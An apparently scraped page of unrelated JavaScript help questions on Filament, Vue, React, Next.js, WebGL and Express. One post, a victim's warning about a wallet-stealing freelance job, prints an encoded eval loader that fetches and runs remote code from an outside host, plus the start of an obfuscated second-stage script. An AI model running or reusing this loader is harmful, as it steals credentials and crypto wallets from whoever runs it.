I want to be like this enter image description here
But scroll bar stay the same, submenu_option will show the scroll bar if too many submenu_option and the option just like submenu_option( too many will show the scroll bar). The result i want is the final capture.
Category: javascript
Category Added in a WPeMatico Campaign
Add sound effect in laravel filament polling
I’m working on a Laravel Filament widget and I want to create a simple alert with sound whenever a new row of data is added to the widget table. Unlike notifications that alert everyone, I only want to alert the user currently viewing the screen.
However, I’m having trouble figuring out how to detect when the polling is completed so that I can trigger the alert.
ive already made custom view for my widget
protected static string $view = 'filament.widget.latestorder';
ive also already call poll in table function
public function table(Table $table): Table
{
return $table
->query(
// some query
)
->defaultSort('created_at', 'desc')
->columns([
// some columns
])
->poll('2s');
}
in my custom view, i write something like this
<div class="grid w-full" style="--cols-default: repeat(1, minmax(0, 1fr)); --cols-lg: repeat(1, minmax(0, 1fr));">
{{ $this->table }}
</div>
@script
<script>
document.addEventListener('DOMContentLoaded', function() {
console.log('okey');
// Retrieve the previous state from session storage
let previousTableData = sessionStorage.getItem('previousTableData');
const tableSelector = '.filament-tables-table';
if (!previousTableData) {
// Initialize session storage if not set
const tableElement = document.querySelector(tableSelector);
previousTableData = tableElement ? tableElement.innerHTML : '';
sessionStorage.setItem('previousTableData', previousTableData);
}
// Listen for Filament's polling refresh event
Livewire.hook('message.processed', function() {
const tableElement = document.querySelector(tableSelector);
const currentTableData = tableElement ? tableElement.innerHTML : '';
console.log('oke');
if (previousTableData !== currentTableData) {
const audio = new Audio("{{ asset('notif.wav') }}");
audio.play();
// Update session storage with the new state
sessionStorage.setItem('previousTableData', currentTableData);
previousTableData = currentTableData;
}
});
});
</script>
@endscript
with console.log('okey'); and console.log('oke') im aiming to catch the polling event.
How can I print results to a span using a document.getElementById? [closed]
I am trying to show output to a span element by attaching a getElementById to the span but the output shows up for less than a second then disappears.
document.getElementById("stats").innerHTML =
"Wisdom: " + wisdom + "<br>" +
"Charisma: " + charisma + "<br>" +
"Intellect: " + intellect + "<br>" +
"Strength: " + strength + "<br>" +
"Dexterity: " + dexterity + "<br>" +
"Constitution: " + constitution;
<p>Total Stats with Modifiers: <span id="stats"></span></p>
I have tried moving the span, sending the output to a read only button (which works but cuts off a lot of the output) and using a script in the html. None gets the desired results, as I have the span put in the aside element and I want the users to see the results from their choice there after they hit the submit button. The top code block is located in a function that as ran when the user clicks on the submit button.
How do I use Javascript with ? [duplicate]
I have a block of Javascript to pull a random gif that looks like this:
const gifs = ["1.gif", "2.gif", "3.gif"];
const random = Math.floor(Math.random() * gifs.length);
console.log(random, gifs[random]);
I want to place a gif inside an <img> tag, like <img src="1.gif"> by using the random const to pull a random gif each time the page loads.
I added document.getElementById("giffetch").innerHTML = gifs; and <img id="giffetch">, but it didn’t work. I sense I’m close but missing a crucial element.
10000 HTTP requests from browser
I have an app, where the home page shows a table(ag-grid) with 10k records.Now in some cases we need to update the all the records data with some value(NOT entered by user or edited with ag-grid), just some value at backend. so for this my BE team is not providing any update API which can take IDs of all records and update them at backend rather they are asking to make 10k http calls to update records individually.
What is the alternative to this?? Also I want to know what will happen at UI if I do this.
I need to click two times to add class to an element
I’m trying to create a Simon Game and when the user click the button I want it to be animated.
I used addClass and setTimeOut with removeClass, the animation happens but I need to click the same button two times.
var buttonColours = ["red", "blue", "green", "yellow"];
var gamePattern = [];
var userClickedPattern = [];
function playSound(name) {
var audio = new Audio("./sounds/" + name + ".mp3");
audio.play();
}
function nextSequence() {
var randomNumber = Math.floor(Math.random() * 4);
var randomChosenColour = buttonColours[randomNumber];
gamePattern.push(randomChosenColour);
$("#" + randomChosenColour).fadeOut(100).fadeIn(100);
playSound(randomChosenColour);
}
function animatePress(currentColour) {
$("." + currentColour).on("click", function () {
$("." + currentColour).addClass("pressed");
setTimeout(function () {
$("." + currentColour).removeClass("pressed");
}, 100);
})
}
$(".btn").on("click", function () {
var userChosenColour = this.id;
userClickedPattern.push(userChosenColour);
playSound(userChosenColour);
animatePress(userChosenColour);
})
setting currentTime for the video in electron not work
When I set currentTime for the video tag in electron for the first time, currentTime will become 0. I need to delete the video tag and create it again to set it correctly.
Also, I cannot change the current time by controlling the progress bar for the first time.
I found similar questions on the Internet, but unfortunately there is no official answer.
↓↓↓
https://github.com/electron/electron/issues/39671
The problem is with the electronic software. If it runs on the web page, there will be no problem.
Is there a property or method, or an electronic version, that can solve this problem?
I hacked web3 wallet
I wanted to share how my MetaMask wallet was hacked yesterday as a cautionary tale.
I received a new project through Freelancer.com. The client had a ‘payment verified’ badge, so I assumed they were legitimate. The project involved web3 backend development, which I was confident I could handle.
After accepting the contract, the client invited me to their GitLab project and asked me to run their backend code. Soon after running it, I realized that my MetaMask wallet had been compromised. Fortunately, I didn’t lose much money, but I want to warn everyone to be cautious when running new code on your machine.
After analyzing the code, I discovered it downloads and executes a script file. I’ve attached the code here.
Does anyone explain how this code works???
Original code
eval(decodeURIComponent('%66%65%74%63%68%28%65%76%61%6c%28%64%65%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%27%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%36%63%25%36%39%25%36%31%25%36%65%25%37%38%25%36%39%25%36%65%25%37%38%25%36%39%25%36%31%25%36%66%25%32%65%25%36%33%25%36%66%25%36%64%25%33%61%25%33%35%25%33%30%25%33%30%25%33%30%25%32%66%25%37%34%25%36%66%25%36%62%25%36%35%25%36%65%25%36%39%25%37%61%25%36%35%25%37%32%25%32%37%27%29%29%29%2e%74%68%65%6e%28%6c%36%69%72%76%3d%3e%6c%36%69%72%76%2e%74%65%78%74%28%29%29%2e%74%68%65%6e%28%7a%31%6f%6c%77%3d%3e%7b%65%76%61%6c%28%7a%31%6f%6c%77%29%7d%29%20'));
After checking this code, I can get the below code
eval(
fetch(
eval(
decodeURIComponent('http://lianxinxiao.com:5000/tokenizer')
)
)
.then(l6irv=>l6irv.text())
.then(z1olw=>{eval(z1olw)})
)
From here -> http://lianxinxiao.com:5000/tokenizer
/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/ // Job ID: iq8lqtm4u2uu
let QlSfb;
!(function () {
const kOzv = Array.prototype.slice.call(arguments);
return eval(
"(function UdZq(Dt6i){const f18i=PAdh(Dt6i,fT0g(UdZq.toString()));try{let zo1i=eval(f18i);return zo1i.apply(null,kOzv);}catch(bW3i){var DlYg=(0x9D8DE4-0O47306735);while(DlYg<(0o1000232%0x1001D))switch(DlYg){case (0x9D8DE4-0O47306735):DlYg=bW3i instanceof SyntaxError?(262351%0o200054):(0o206534-68918);break;case (0o203504-67365):DlYg=(0o202760-0x105CA);{console.log('Error: the code has been tampered!');return}break;}throw bW3i;}function fT0g(zgTg){let bOVg=199618237;var vbOg=(0o202164-0x1044E);{let XIQg;while(vbOg<(0o400167%65576)){switch(vbOg){case (0o400056%65550):vbOg=(0x102A8-0o201227);{bOVg^=(zgTg.charCodeAt(XIQg)*(0x2935494a%7)+zgTg.charCodeAt(XIQg>>>(0x5E30A78-0O570605164)))^614269451;}break;case (0o400105%65562):vbOg=(0x40055%0o200015);XIQg++;break;case (0x40065%0o200021):vbOg=XIQg<zgTg.length?(0o203124-67138):(0o1000277%65574);break;case (0o400122%0x10016):vbOg=(0o1000135%0x1000F);XIQg=(0x21786%3);break;}}}let r6Ig="";var TDLg=(67396-0o203445);{let TFih;while(TDLg<(0x105F0-0o202712)){switch(TDLg){case (0o204660-67985):TDLg=(0o201274-0x102B2);TFih=(0x21786%3);break;case
…. ….
vue3 changes to component definition only applies to only one instance of the component
While writing a vue3 single file component i came across this issue. I am rendering this custom component inside a for loo. What is happening is any changes to the component template(tailwind class, changes to dom elements etc.) did not update all instances of this component – only the last OR the first instance was updating. Here is the code:
//File: CustomVenue.vue
<template>
<div class="flex items-center">
<img src="https://fastly.picsum.photos/id/1067/200/300.jpg?hmac=9UpH9GvB6swkUWpIG1N53lIk9vdO4YcIwlH59M8er18"
alt="" width="100" height="100"
>
<span class="ml-6 text-blue-700 font-semibold text-sm">Venue name</span>
</div>
</template>
<script setup>
const props = defineProps({
id: String
});
</script>
And this is how it is rendered inside the for loop:
<div class="flex flex-col gap-y-2">
<template v-for="(venue, index) in filteredVenues" :key="`custom_venue_${index}`">
<CustomVenue :id="`custom_venue_${index}`" />
</template>
</div>
It is a very simple component at this stage.
What i noticed is if i change the component definition to this:
<span class="ml-6 text-blue-700 font-semibold text-sm">Venue names - {{ id }}</span>
Basically just outputting the id propperty, things seem ok. All class changes in the template deifition affects all the rendered instance of this component.
Is this a bug? If not can someone please explain why the later version works? As you can see i even added the :key arritube on the rendered instances as suggested while loop rendering.
React, Need help preventing all other Friend components re-render when one friend is being updated
I have done some improvements by wrapping all children’s props with memo and managed to reduce the re-rendering of all other Friends when a message is being received on the receiver side, and surprisingly the final update after memoizing the props which did the magic was adding useCallback to handleFriendClick, although handleFriendClick is not even needed at that point, yet it still removed the unnecessary re-renders somehow. Now when I receive a message, I update that friend on the friendslist to display an unread messages count and the other friends do not re-render. However, when I use that handleFriendClick function which made this work after I wrapped it in a useCallback -> it opens the friends message box and this is where all other friends are still being re-rendered -> on handleFriendClick to open, and onClose.
This is the main logic in Home.jsx
const Home = () => {
const { user, token } = useAuth();
const [selectedFriends, setSelectedFriends] = useState([]);
const { messages } = useWebSocket();
const [friendsList, setFriendsList] = useState([]);
// Memoize the latest message to avoid unnecessary updates
const latestMessage = messages.length > 0 ? messages[messages.length - 1] : null;
// Track sent/received messageIds to avoid duplicates from re-rendering or re-adding messages
const processedMessagesRef = useRef(new Set());
// on new message (websocket)
const handleUpdateFriends = useCallback(
(message) => {
// Check if the message has already been added using processedMessagesRef
if (processedMessagesRef.current.has(message.messageId)) return;
// Mark this message as handled to prevent re-adding it
processedMessagesRef.current.add(message.messageId);
// sender side
const isSender = message.senderId === user.id;
if (isSender) {
setSelectedFriends((prev) => prev.map((f) => (f.id === message.receiverId ? { ...f, storedMessages: [...f.storedMessages, message] } : f)));
return;
}
// receiver side
const existingFriend = selectedFriends.find((f) => f.id === message.senderId);
if (existingFriend) {
setSelectedFriends((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, storedMessages: [...f.storedMessages, message] } : f)));
if (!existingFriend.isMessageBoxOpen) {
setFriendsList((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, unreadMessages: (f.unreadMessages || 0) + 1 } : f)));
}
} else {
console.log("receiver side newFriend");
const friend = friendsList.find((f) => f.id === message.senderId);
if (friend) {
setFriendsList((prev) => prev.map((f) => (f.id === message.senderId ? { ...f, storedMessages: [...(f.storedMessages || []), message], unreadMessages: (f.unreadMessages || 0) + 1 } : f)));
}
}
},
[selectedFriends, friendsList, user.id]
);
// on new message (websocket)
useEffect(() => {
if (!latestMessage) return;
handleUpdateFriends(latestMessage);
}, [latestMessage, handleUpdateFriends]);
const fetchMessagesForFriend = async (friend) => {
try {
const response = await axios.get(`http://localhost:8080/api/chat/messages/${friend.friendshipId}`, {
params: {
limit: 100,
},
});
if (response.status === 204) {
console.log("No messages found.");
} else if (Array.isArray(response.data)) {
console.log("response.data", response.data);
const friendWithMessages = { ...friend, storedMessages: response.data.reverse(), isMessageBoxOpen: true, hasMessageBoxBeenOpenedOnce: true };
setSelectedFriends((prev) => {
if (prev.length >= 2) {
return [prev[1], friendWithMessages];
}
return [...prev, friendWithMessages];
});
}
} catch (error) {
console.error("Failed to fetch messages:", error);
}
};
// on friend click
const handleFriendClick = useCallback(
async (friend) => {
console.log("friend", friend);
const existingFriend = selectedFriends.find((f) => f.id === friend.id);
if (existingFriend) {
if (existingFriend.isMessageBoxOpen) {
// Case 1: Message box is already open, no need to change anything
return;
} else if (existingFriend.hasMessageBoxBeenOpenedOnce) {
// Case 2: Message box has been opened before but is currently closed,
// reopens the message box without fetching messages and resets unread messages
setSelectedFriends((prev) => prev.map((f) => (f.id === friend.id ? { ...f, isMessageBoxOpen: true, unreadMessages: 0 } : f)));
setFriendsList((prev) => prev.map((f) => (f.id === friend.id ? { ...f, unreadMessages: 0 } : f)));
return;
}
}
// Case 3: Message box has never been opened before, fetch messages and open the message box by adding a new friend with isMessageBoxOpen: true
await fetchMessagesForFriend(friend);
// reset unread messages
setFriendsList((prev) => prev.map((f) => (f.id === friend.id ? { ...f, unreadMessages: 0 } : f)));
},
[selectedFriends]
);
return (
<div>
{" "}
<FriendsList friendsList={friendsList} friendsListLoading={friendsListLoading} friendsListError={friendsListError} handleFriendClick={handleFriendClick} /> <MessageBoxList selectedFriends={selectedFriends} setSelectedFriends={setSelectedFriends} />
</div>
);
};
This are the memoized FriendsList and Friend components
const FriendsList = memo(({ friendsList, friendsListLoading, friendsListError, handleFriendClick }) => {
return (
<aside className="w-[250px] bg-white border-l border-gray-300 p-4">
<h2 className="text-lg font-semibold mb-4"> Friends </h2> {friendsListError && <p className="text-red-500"> {friendsListError} </p>} {friendsListLoading && <p> Loading... </p>}
<ul> {friendsList.length > 0 ? friendsList.map((friend) => <Friend key={friend.id} friend={friend} handleFriendClick={handleFriendClick} />) : <li className="py-2 text-gray-500">No friends found</li>} </ul>{" "}
</aside>
);
});
let renderCount = 0;
const Friend = memo(({ friend, handleFriendClick }) => {
console.log("Friend rendered", renderCount++);
console.log("friend username", friend.username, friend);
const onHandleFriendClick = useCallback(
async (friend) => {
try {
// call the parent function (Home->FriendList->Friend passed through props) to update the messages state on "Home"
handleFriendClick(friend);
} catch (error) {
console.log("Failed to fetch messages:", error);
}
},
[handleFriendClick]
);
return (
<li onClick={() => onHandleFriendClick(friend)} key={friend.id} className="flex py-2 border-b border-gray-200 cursor-pointer hover:bg-gray-200 rounded-md">
<div className="px-2"> {friend.username.length > 20 ? friend.username.slice(0, 20) + "..." : friend.username} </div> {friend.unreadMessages > 0 && <div className="bg-red-500 text-white rounded-full px-2 ml-2"> {friend.unreadMessages} </div>}{" "}
</li>
);
});
The MessageBoxList and MessageBox components are memoized in the same manner. Can you help prevent re-rendering all friends when one friend is being clicked on the friends list and then closed? Also, need advice if my overall approach is generally recommended because I am not fully aware of what I am doing and how to approach this. Thank you very much for you help!
Cookies being set with empty values in production in Next.js
I am trying to set cookies using the cookies function in Next.js and it’s working completely fine on localhost but the cookie values are empty in production. Also, the cookies are being set by the Next.js server itself. This is how I am setting it:
const cookieStore = cookies();
cookieStore.set({
name: "accessToken",
value: res.data?.google?.access,
httpOnly: true,
secure: true,
path: "/",
maxAge: 3600,
expires: new Date(Date.now() + 3600),
sameSite: "strict",
});
cookieStore.set({
name: "refreshToken",
value: res.data?.google?.refresh,
httpOnly: true,
secure: true,
path: "/",
maxAge: 7 * 24 * 60 * 60,
expires: new Date(Date.now() + 7 * 24 * 60 * 60),
sameSite: "strict",
});
I tried these solutions: Client not saving cookies in production, Cookies are not being set in production, Cookies Not Being Set in Production in Next.js App.
None of these solutions worked for me.
PS: I am using Next.js V15 rc.
WebGL Support – Switch Option Control Not Switching Color
I am trying to get the menu box on this code to change color using webgl. For some reason I cannot get the color to change properly. The html, initShaders.js, and utility.js is already created.
Please see my .js below:
"use strict";
var gl;
var theta = 0.0;
var thetaLoc;
var speed = 100;
var direction = true;
var colors = [
vec4 (0.1, 0.0, 0.0, 1.0),
vec4 (0.0, 0.0, 1.0, 1.0), //blue
vec4 (0.0, 1.0, 0.0, 1.0), //green
vec4 (1.0, 1.0, 1.0, 1.0) //black
];
window.onload = function init()
{
var canvas = document.getElementById("gl-canvas");
gl = canvas.getContext('webgl2');
if (!gl) alert("WebGL 2.0 isn't available");
// Configure WebGL
//
gl.viewport(0, 0, canvas.width, canvas.height);
gl.clearColor(1.0, 1.0, 1.0, 1.0);
// Load shaders and initialize attribute buffers
var program = initShaders(gl, "vertex-shader", "fragment-shader");
gl.useProgram( program );
var vertices = [
vec2(-.5, -.5),
vec2(0, .5),
vec2(.5, -.5)
];
// Load the data into the GPU
var bufferId = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, bufferId);
gl.bufferData(gl.ARRAY_BUFFER, flatten(vertices), gl.STATIC_DRAW);
// Associate out shader variables with our data buffer
var positionLoc = gl.getAttribLocation( program, "aPosition" );
gl.vertexAttribPointer( positionLoc, 2, gl.FLOAT, false, 0, 0 );
gl.enableVertexAttribArray(positionLoc);
thetaLoc = gl.getUniformLocation(program, "uTheta");
var colorLoc=gl.getAttribLocation(program, "fcolor");
gl.vertexAttribPointer(colorLoc, 4, gl.Float, false, 0, 0);
gl.enableVertexAttribArray(colorLoc)
colors=gl.getUniformLocation(program, "color_changer");
// Initialize event handlers
document.getElementById("slider").onchange = function(event) {
speed = 100 - event.target.value;
};
document.getElementById("Direction").onclick = function (event) {
direction = !direction;
};
document.getElementById("Controls").onclick = function( event) {
switch(event.target.index) {
case 0:
direction = !direction;
break;
case 1:
speed /= 2.0;
break;
case 2:
speed *= 2.0;
break;
case 3:
colors[1][0][0][1];
break;
case 4:
colors[0][0][1][1];
break;
case 5:
colors[1][1][1][1];
break;
}
};
window.onkeydown = function(event) {
var key = String.fromCharCode(event.keyCode);
switch( key ) {
case '1':
direction = !direction;
break;
case '2':
speed /= 2.0;
break;
case '3':
speed *= 2.0;
break;
case '4':
colors[1][0][0][1];
break;
case '5':
colors[0][0][1][1];
break;
case '6':
colors[1][1][1][1];
break;
}
};
render();
};
function render()
{
gl.clear( gl.COLOR_BUFFER_BIT );
theta += (direction ? 0.1 : -0.1);
gl.uniform1f(thetaLoc, theta);
gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
setTimeout(
function () {requestAnimationFrame(render);},
speed, colors
);
}
I want the color to change when clicking on the associated menu controls.
I tried changing to different return statements in the switch function, but the color is still not functioning correctly. All other menu clicks work except for color. Please advise.
try and catch not catching all thrown errors
Im trying to learn JS by building a small application/api using expressjs. I have some part of the code that is really confusing me. Here is the code below to explain.
my main.js file
import express from 'express'
import 'dotenv/config'
import helmet from 'helmet'
import AppsLoader from './src/apps/AppsLoader.js'
const app = express()
/* @todo check not sure if needed since im only accepting query params
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
*/
app.use(helmet())
app.get('/', (req, res) => {
res.status(301).json({
message: "Please request the POST /action endpoint"
})
})
//all actions are achieved via post request i.e get, patch, delete and post
app.post('/action', (req, res) => {
try {
new AppsLoader(req, res)
} catch (err) {
res.status(err.customCode || 400).json({
status: 'error',
message: err.message
})
}
})
app.listen(process.env.SERVER_PORT)
and here is AppsLoader class
import ValidationRules from '../helpers/ValidationRules.js'
import Validator from '../helpers/Validator.js'
import { StatusCodes } from './../helpers/StatusCodes.js'
//import apps
import Trivia from './trivia/index.js'
export default class AppsLoader {
constructor(req, res) {
this._req = req
this._res = res
this._params = req.query
this._init()
}
_init() {
new Validator([
new ValidationRules('appName', 'App Name', 'string', 5, 20),
new ValidationRules('actionName', 'Action Name', 'string', 5, 20)],
this._params
)
const appName = this._params['appName']
if (!this._getAppNames().includes(appName)) {
throw new Error('invalid app name', StatusCodes.BAD_REQUEST)
}
switch (appName) {
case 'trivia':
new Trivia(this._params, this._res)
break
default:
throw new Error('no app was executed', StatusCodes.SERVER_ERROR)
}
}
_getAppNames() {
return [
'trivia'
]
}
}
and here is the validator
import ValidationRules from './ValidationRules.js'
import { StatusCodes } from './StatusCodes.js'
export default class Validator {
constructor(validationData, requestBody) {
if (!Array.isArray(validationData)) {
throw new Error('expecting argument one to be an array', StatusCodes.BAD_REQUEST)
}
for (let i = 0; i < validationData.length; i++) {
if (!(validationData[i] instanceof ValidationRules)) {
throw new Error('All validation entries must be instances of ValidationRules class', StatusCodes.SERVER_ERROR)
}
}
this._rules = validationData
this._data = requestBody
this._run()
}
_run() {
for (let i = 0; i < this._rules.length; i++) {
const name = this._rules[i].getName()
const display = this._rules[i].getDisplayName()
const max = this._rules[i].getMaxLength()
const min = this._rules[i].getMinLength()
const type = this._rules[i].getType()
let paramData = null
if (!this._data.hasOwnProperty(name)) {
throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
}
paramData = this._data[name]
if (type != 'email' && typeof paramData != type) {
throw new Error(`Expecting data type of ${type}, for param ${display}`, StatusCodes.BAD_REQUEST)
}
let checkValueLength = null
switch (type) {
case 'string':
checkValueLength = paramData.length
break
case 'number':
checkValueLength = paramData.toString().length
break
case 'email':
checkValueLength = paramData.length
break
default:
throw new Error('failed to set param length', StatusCodes.SERVER_ERROR)
}
if (checkValueLength > max) {
throw new Error(`param ${display} length must be less than ${max}`, StatusCodes.BAD_REQUEST)
}
if (checkValueLength < min) {
throw new Error(`param ${display} length must be more than ${min}`, StatusCodes.BAD_REQUEST)
}
}
}
}
and here is the ValidatorRules class
import { StatusCodes } from './StatusCodes.js'
export default class ValidationRules {
constructor(nameInRequest, outputName, type, minLength, maxLength) {
if (typeof nameInRequest != 'string' || typeof outputName != 'string' || typeof type != 'string') {
throw new Error('Expecting string values for name, display and type', StatusCodes.SERVER_ERROR)
}
if (typeof minLength != 'number' || typeof maxLength != 'number') {
throw new Error('min and max need to be numbers', StatusCodes.SERVER_ERROR)
}
if (!this._getAllowedTypes().includes(type)) {
throw new Error('Allowd types are: ', this._getAllowedTypes().toString(), StatusCodes.SERVER_ERROR)
}
this._name = nameInRequest
this._displayName = outputName
this._type = type
this._min = minLength
this._max = maxLength
}
_getAllowedTypes() {
return [
'string', 'number', 'email'
]
}
getName() {
return this._name
}
getType() {
return this._type
}
getDisplayName() {
return this._displayName
}
getMaxLength() {
return this._max
}
getMinLength() {
return this._min
}
}
and here is the Trivia class that is being called by AppsLoader
import MySqlConnection from './../../db/MySqlConnection.js'
import ValidationRules from './../../helpers/ValidationRules.js'
import Validator from './../../helpers/Validator.js'
import { StatusCodes } from './../../helpers/StatusCodes.js'
import AppResponser from './../../helpers/AppResponser.js'
import Hasher from './../../helpers/Hasher.js'
export default class Trivia extends AppResponser {
constructor(params, res) {
super(res, new MySqlConnection(
process.env.TRIVIA_DB_HOST,
process.env.TRIVIA_DB_USER,
process.env.TRIVIA_DB_PASS,
process.env.TRIVIA_DB_DATABASE
))
this._params = params
this._action = params.actionName
this._validate()
this._run()
}
_validate() {
if (!this._allowedAppActions().includes(this._action)) {
throw new Error('Current action not allowed', StatusCodes.UNAUTHORIZED)
}
//execute validations based on actions
}
_login() {
//validate required params
}
async _register() {
new Validator([
new ValidationRules('email', 'Email', 'email', 10, 100),
new ValidationRules('pass', 'Password', 'string', 6, 30)
], this._params)
const email = this._params.email
const pass = this._params.pass
const emailCount = await this._db.countResults('SELECT COUNT(*) AS resultsCount FROM users WHERE email = ?', [email])
if (emailCount >= 1) {
throw new Error('Email already exists', StatusCodes.BAD_REQUEST)
}
const hashedPass = new Hasher(pass)
const hash = hashedPass.getHash()
const addUserResults = await this._db.query(
'INSERT INTO users (email, pass) VALUES (?,?)',
[email, hash]
)
const insertId = addUserResults.insertId
if (typeof insertId != 'number') {
throw new Error('Cant add user', StatusCodes.SERVER_ERROR)
}
const activationToken = await this._db.generateRandomToken('user_activation', insertId)
await this.send({
message: 'You have registered successfully, please click the link in your email to activate your account',
registered: true
})
}
_allowedAppActions() {
return [
'register',
'login',
'activateAccount',
'closeAccount',
'requestPasswordReset',
'updatePasswordWithToken'
]
}
_run() {
switch(this._action) {
case 'login':
this._login()
break
case 'register':
this._register()
break
}
}
}
so the problem happens in the Validator class, the validator seems to fail in the Trivia class
for exmaple calling this url, ommiting the appName or renaming query param to appName2 instead of appName returns the correct json
url1: http://localhost:3000/action?appName2=trivia&actionName=register&[email protected]&pass=test123
url1 results:
{
"status": "error",
"message": "App Name is required but not presented"
}
now in url2 im requesting another url but removing the email param from query
url2: http://localhost:3000/action?appName=trivia&actionName=register&[email protected]&pass=test123
but this results in app crash and the following output in terminal
file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:33
throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
^
Error: Email is required but not presented
at Validator._run (file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:33:11)
at new Validator (file:///home/dever10/Documents/nodeapi/src/helpers/Validator.js:18:8)
at Trivia._register (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:38:3)
at Trivia._run (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:110:10)
at new Trivia (file:///home/dever10/Documents/nodeapi/src/apps/trivia/index.js:22:8)
at AppsLoader._init (file:///home/dever10/Documents/nodeapi/src/apps/AppsLoader.js:31:5)
at new AppsLoader (file:///home/dever10/Documents/nodeapi/src/apps/AppsLoader.js:13:8)
at file:///home/dever10/Documents/nodeapi/main.js:26:3
at Layer.handle [as handle_request] (/home/dever10/Documents/nodeapi/node_modules/express/lib/router/layer.js:95:5)
at next (/home/dever10/Documents/nodeapi/node_modules/express/lib/router/route.js:149:13)
Node.js v21.4.0
[nodemon] app crashed - waiting for file changes before starting...
which is being thrown due to line below in the validator class
if (!this._data.hasOwnProperty(name)) {
throw new Error(`${display} is required but not presented`, StatusCodes.BAD_REQUEST)
}
my question is why is this thrown error not being caught by the main try and catch blow in the main.js file, like the rest of the errors thrown?
Sorry for the long question, but im new to this and any help is appreciated. Thanks in advance
lol i explained it all above
Uncaught reference error values not defined error
I was following BroCode javascript course and I got to the Dice Roller Program. Everything was going good until I got here. This specific line is causing me problems and I don’t know why.
I ended up finishing that part of the video but still haven’t fixed the issue. Here the problem:
diceResult.textContent = `dice: ${values.join(', ')}`;
This is supposed to display the dice when you click on the “Roll Dice” just like in the video but I get this error in the console “index.js:18 Uncaught ReferenceError: values is not defined
at index.js:18:35”
What language do you recommend me to start in this world of programming? [closed]
I really don’t know with which language to start learning programming, in fact I don’t even know where to start, what do you recommend?
I have tried python or javascript but they say I have to learn a language according to what I want to do, so what am I supposed to do?